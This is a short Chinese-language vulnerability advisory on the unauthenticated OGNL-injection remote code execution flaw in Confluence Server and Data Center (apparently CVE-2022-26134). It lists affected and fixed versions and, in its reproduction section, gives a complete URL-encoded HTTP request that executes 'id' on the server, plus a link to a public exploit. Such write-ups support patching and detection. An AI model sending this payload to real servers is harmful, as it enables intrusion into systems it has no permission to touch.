Confluence
Confluence是一个专业的企业知识管理与协同软件，也可以用于构建企业wiki。使用简单，但它强大的编辑和站点管理特征能够帮助团队成员之间共享信息、文档协作、集体讨论，信息推送。
Confluence Server and Data Center存在一个远程代码执行漏洞，未经身份验证的攻击者可以利用该漏洞向目标服务器注入恶意ONGL表达式，进而在目标服务器上执行任意代码。
受影响版本
Confluence Server and Data Center >= 1.3.0
Confluence Server and Data Center < 7.4.17
Confluence Server and Data Center < 7.13.7
Confluence Server and Data Center < 7.14.3
Confluence Server and Data Center < 7.15.2
Confluence Server and Data Center < 7.16.4
Confluence Server and Data Center < 7.17.4
Confluence Server and Data Center < 7.18.1
安全版本
Confluence Server and Data Center 7.4.17
Confluence Server and Data Center 7.13.7
Confluence Server and Data Center 7.14.3
Confluence Server and Data Center 7.15.2
Confluence Server and Data Center 7.16.4
Confluence Server and Data Center 7.17.4
Confluence Server and Data Center 7.18.1
漏洞复现
GET //%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1
Host: XX.XX.XX.XX
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=3764D915B037D5A50D8025AA793E990A
Connection: close
1.png
exp
https://github.com/Nwqda/CVE-2022-26134
2.png
